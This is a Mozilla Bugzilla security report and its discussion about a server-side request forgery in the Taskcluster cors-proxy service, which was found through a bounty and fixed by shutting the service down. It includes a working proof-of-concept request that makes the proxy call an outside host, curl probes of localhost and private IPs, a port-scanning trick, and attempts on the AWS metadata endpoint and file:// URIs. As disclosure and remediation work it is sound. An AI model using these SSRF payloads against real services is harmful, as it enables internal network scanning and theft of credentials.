Closed
Bug 1392242
Opened 9 years ago
Closed 9 years ago
[ SSRF] cors-proxy.taskcluster.net
Categories
(Taskcluster :: Services, defect)
Taskcluster
Services
Tracking
(Not tracked)
RESOLVED
FIXED
People
(Reporter: krysztofiak.jedrzej, Unassigned)
References
()
Details
(Keywords: reporter-external, sec-moderate, wsec-ssrf, Whiteboard: [reporter-external] [web-bounty-form])
Attachments
(1 file)
|
198.60 KB,
image/png
|
Details |
Introduction:
Taskcluster Status page (https://tools.taskcluster.net/status) make requests to cors-proxy service (cors-proxy.taskcluster.net). Using /request endpoint attacker could make requests (GET, PUT, POST itd.) to other servers, scan ports, maybe RCE (for example if attacker find internal REDIS, memcached, elasticsearch instance etc.).
PoC:
[ssrf1.png]
Request:
POST /request HTTP/1.1
Host: cors-proxy.taskcluster.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:54.0) Gecko/20100101 Firefox/54.0
Accept: */*
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Content-Type: application/json
X-Cors-Proxy-Expose-Headers:
Referer: https://tools.taskcluster.net/
Content-Length: 98
Origin: https://tools.taskcluster.net
Connection: close
{"url":"http://krysztofiak.com/log.php","method":"GET","headers":{"User-Agent":"SSRF User Agent"}}
Response:
HTTP/1.1 200 OK
Connection: close
X-Powered-By: PHP/5.6.30
Content-Type: text/html; charset=UTF-8
Content-Length: 97
Date: Mon, 21 Aug 2017 12:14:53 GMT
Accept-Ranges: bytes
Server: LiteSpeed
Access-Control-Allow-Origin: https://tools.taskcluster.net
Access-Control-Request-Method: GET POST HEAD OPTIONS PUT DELETE TRACE CONNECT
Via: 1.1 vegur
IP: 54.159.98.151 TIME: Aug 21 13:14:53 2017 REFERRER: SEARCHSTRING: USERAGENT: SSRF User Agent
====
Attacker also could scan ports, for example you can provide url like: http://testsite.com:22/ and if you get parse error, you know port is open.
How to fix:
Make url whitelist.
More info:
https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf
My guesses:
Basing on application error, application work on nodejs with module request (https://github.com/request/request).
I try without success:
- get AWS metadata from http://169.254.169.254/latest/meta-data/
- get local files with file:// uri handler
- make RCE with javascript: uri handler
- exposure server memory with this bug https://snyk.io/vuln/npm:request:20160119 (more info: https://snyk.io/blog/exploiting-buffer/)
Best regards,
Jędrzej
Flags: sec-bounty?
| Reporter | ||
Comment 1•9 years ago
|
||
Thanks Jędrzej!
Nice find, I can confirm that the endpoint is proxying a response:
curl 'https://cors-proxy.taskcluster.net/request' --compressed -H 'Content-Type: application/json' -H 'Origin: https://tools.taskcluster.net' --data '{"url":"https://httpbin.org/get","method":"GET","headers":{"User-Agent":"Foo"}}'
{
"args": {},
"headers": {
"Connection": "close",
"Host": "httpbin.org",
"User-Agent": "Foo"
},
"origin": "54.159.98.151",
"url": "https://httpbin.org/get"
}
and in the request schema https://github.com/taskcluster/cors-proxy/blob/b388c47c77b809b3b3671046575b925c4a1900e4/server.js#L23
we're only validating that url is a joi uri https://github.com/hapijs/joi/blob/v10.6.0/API.md#stringurioptions
so I can make requests to localhost:
curl 'https://cors-proxy.taskcluster.net/request' --compressed -H 'Content-Type: application/json' -H 'Origin: https://tools.taskcluster.net' --data '{"url":"https://localhost/","method":"GET","headers":{"User-Agent":"Foo"}}'
Error: connect ECONNREFUSED 127.0.0.1:443
at Object.exports._errnoException (util.js:1050:11)
at exports._exceptionWithHostPort (util.js:1073:20)
at TCPConnectWrap.afterConnect [as oncomplete] (net.js:1093:14)
and a private network ip that should be unroutable:
curl 'https://cors-proxy.taskcluster.net/request' --compressed -H 'Content-Type: application/json' -H 'Origin: https://tools.taskcluster.net' --data '{"url":"https://192.0.2.0/","method":"GET","headers":{"User-Agent":"Foo"}}'
<!DOCTYPE html>
<html>
<head>
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta charset="utf-8">
<title>Application Error</title>
<style media="screen">
html,body,iframe {
margin: 0;
padding: 0;
}
html,body {
height: 100%;
overflow: hidden;
}
iframe {
width: 100%;
height: 100%;
border: 0;
}
</style>
</head>
<body>
<iframe src="//www.herokucdn.com/error-pages/application-error.html"></iframe>
</body>
</html>
Status: UNCONFIRMED → NEW
Ever confirmed: true
Whiteboard: [reporter-external] [web-bounty-form] [verif?] → [reporter-external] [web-bounty-form]
garndt: as Jędrzej suggested we should validate proxied URLs are in a whitelist.
Per the security checklist, we should also block requests to internal or private IPs:
* [ ] Do not proxy requests from users without strong limitations and filtering (see [Pocket UserData vulnerability](https://www.gnu.gl/blog/Posts/multiple-vulnerabilities-in-pocket/)). Don't proxy requests to [link local, loopback, or private networks](https://en.wikipedia.org/wiki/Reserved_IP_addresses#IPv4) or DNS that resolves to addresses in those ranges (i.e. 169.254.0.0/16, 127.0.0.0/8, 10.0.0.0/8, 100.64.0.0/10, 172.16.0.0/12, 192.168.0.0/16, 198.18.0.0/15).
https://wiki.mozilla.org/Security/FirefoxOperations#Security_Checklist
Assigning sec-moderate for "lack of standard defense in depth techniques and security controls."
Jędrzej, this bug is eligible for the bug bounty and a group will make a bounty decision. Thanks again for the report!
* cors-proxy.taskcluster.net is a core site https://www.mozilla.org/en-US/security/bug-bounty/web-eligible-sites/#core-sites
* SSRF is not excluded from the program https://www.mozilla.org/en-US/security/web-bug-bounty/#exclusions
Flags: needinfo?(garndt)
Keywords: sec-moderate
Updated•9 years ago
|
Flags: needinfo?(garndt)
Comment 5•9 years ago
|
||
(In reply to Greg Guthe [:g-k] from comment #4)
> Assigning sec-moderate for "lack of standard defense in depth techniques and
> security controls."
>
> Jędrzej, this bug is eligible for the bug bounty and a group will make a
> bounty decision. Thanks again for the report!
>
> * cors-proxy.taskcluster.net is a core site
> https://www.mozilla.org/en-US/security/bug-bounty/web-eligible-sites/#core-
> sites
> * SSRF is not excluded from the program
> https://www.mozilla.org/en-US/security/web-bug-bounty/#exclusions
Taskcluster team is working to remove dependencies from cors-proxy and then disable it.
(In reply to Wander Lairson Costa [:wcosta] from comment #5)
>
> Taskcluster team is working to remove dependencies from cors-proxy and then
> disable it.
Great! If we can avoid proxying requests entirely that'd be best.
Updated•9 years ago
|
Flags: sec-bounty? → sec-bounty+
Comment 7•9 years ago
|
||
Not sure where under Taskcluster this belongs, but could somebody from the Taskcluster team move it to the right component? Thanks!
Updated•9 years ago
|
Group: websites-security → taskcluster-security
Component: Other → Platform and Services
Product: Websites → Taskcluster
Comment 8•9 years ago
|
||
(In reply to Wander Lairson Costa [:wcosta] from comment #5)
> (In reply to Greg Guthe [:g-k] from comment #4)
> > Assigning sec-moderate for "lack of standard defense in depth techniques and
> > security controls."
> >
> > Jędrzej, this bug is eligible for the bug bounty and a group will make a
> > bounty decision. Thanks again for the report!
> >
> > * cors-proxy.taskcluster.net is a core site
> > https://www.mozilla.org/en-US/security/bug-bounty/web-eligible-sites/#core-
> > sites
> > * SSRF is not excluded from the program
> > https://www.mozilla.org/en-US/security/web-bug-bounty/#exclusions
>
> Taskcluster team is working to remove dependencies from cors-proxy and then
> disable it.
Have we removed the dependencies to this yet? What is remaining to do so?
Comment 9•9 years ago
|
||
(In reply to Greg Arndt [:garndt] from comment #8)
> (In reply to Wander Lairson Costa [:wcosta] from comment #5)
> > (In reply to Greg Guthe [:g-k] from comment #4)
> > > Assigning sec-moderate for "lack of standard defense in depth techniques and
> > > security controls."
> > >
> > > Jędrzej, this bug is eligible for the bug bounty and a group will make a
> > > bounty decision. Thanks again for the report!
> > >
> > > * cors-proxy.taskcluster.net is a core site
> > > https://www.mozilla.org/en-US/security/bug-bounty/web-eligible-sites/#core-
> > > sites
> > > * SSRF is not excluded from the program
> > > https://www.mozilla.org/en-US/security/web-bug-bounty/#exclusions
> >
> > Taskcluster team is working to remove dependencies from cors-proxy and then
> > disable it.
>
> Have we removed the dependencies to this yet? What is remaining to do so?
afaik, taskcluster-docs is the only piece making use of it.
Flags: needinfo?(dustin)
Comment 10•9 years ago
|
||
Oh, I killed that a while ago. Sorry, I thought there was some much more difficult dependency to remove. So I guess we can turn it off!! Wander, want to do the honors?
Flags: needinfo?(dustin) → needinfo?(wcosta)
Comment 11•9 years ago
|
||
(In reply to Dustin J. Mitchell [:dustin] from comment #10)
> Oh, I killed that a while ago. Sorry, I thought there was some much more
> difficult dependency to remove. So I guess we can turn it off!! Wander,
> want to do the honors?
I set number of dynos to 0, which I believe to be enough to make it stop running, but I have no permission to delete the app.
Flags: needinfo?(wcosta)
Comment 12•9 years ago
|
||
OK, greg can do that .. after a few days maybe. A quick look at logs just shows spam scans.
Flags: needinfo?(garndt)
Comment 13•9 years ago
|
||
This will be removed on 9/25. Will keep the ni? until then.
Comment 14•9 years ago
|
||
This app has now been removed. Can we close the bug?
Flags: needinfo?(garndt)
Comment 15•9 years ago
|
||
Thanks :garndt, I'm getting a 404 from https://cors-proxy.taskcluster.net/request, but https://cors-proxy.taskcluster.net/ is responding with a sign in form saying form "This subdomain has been taken over."
Can we remove the CNAME too?
$ host cors-proxy.taskcluster.net
cors-proxy.taskcluster.net is an alias for toyama-73636.herokussl.com.
toyama-73636.herokussl.com is an alias for elb081832-1105536650.us-east-1.elb.amazonaws.com.
elb081832-1105536650.us-east-1.elb.amazonaws.com has address 107.22.247.142
elb081832-1105536650.us-east-1.elb.amazonaws.com has address 50.19.248.219
elb081832-1105536650.us-east-1.elb.amazonaws.com has address 54.221.220.84
Status: NEW → RESOLVED
Closed: 9 years ago
Resolution: --- → FIXED
Comment 16•9 years ago
|
||
Sweet! That's fixed too now:
$ host cors-proxy.taskcluster.net
Host cors-proxy.taskcluster.net not found: 3(NXDOMAIN)
Thanks everyone!
Group: taskcluster-security
Comment 18•9 years ago
|
||
Still need to update the TLS cert -- Greg, please let me know when I should throw the switch on that.
Status: RESOLVED → REOPENED
Flags: needinfo?(garndt)
Resolution: FIXED → ---
Comment 19•9 years ago
|
||
dustin@jemison ~ $ cat tmp/DigiCertCA.crt
-----BEGIN CERTIFICATE-----
MIIElDCCA3ygAwIBAgIQAf2j627KdciIQ4tyS8+8kTANBgkqhkiG9w0BAQsFADBh
MQsw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updated in heroku. Things should be complete now. Thanks everyone!
Status: REOPENED → RESOLVED
Closed: 9 years ago → 9 years ago
Resolution: --- → FIXED
Comment 21•9 years ago
|
||
cloud front and docker cloud have been updated as well
| Assignee | ||
Updated•7 years ago
|
Component: Platform and Services → Services
Updated•2 years ago
|
Keywords: reporter-external
You need to log in
before you can comment on or make changes to this bug.
Description
•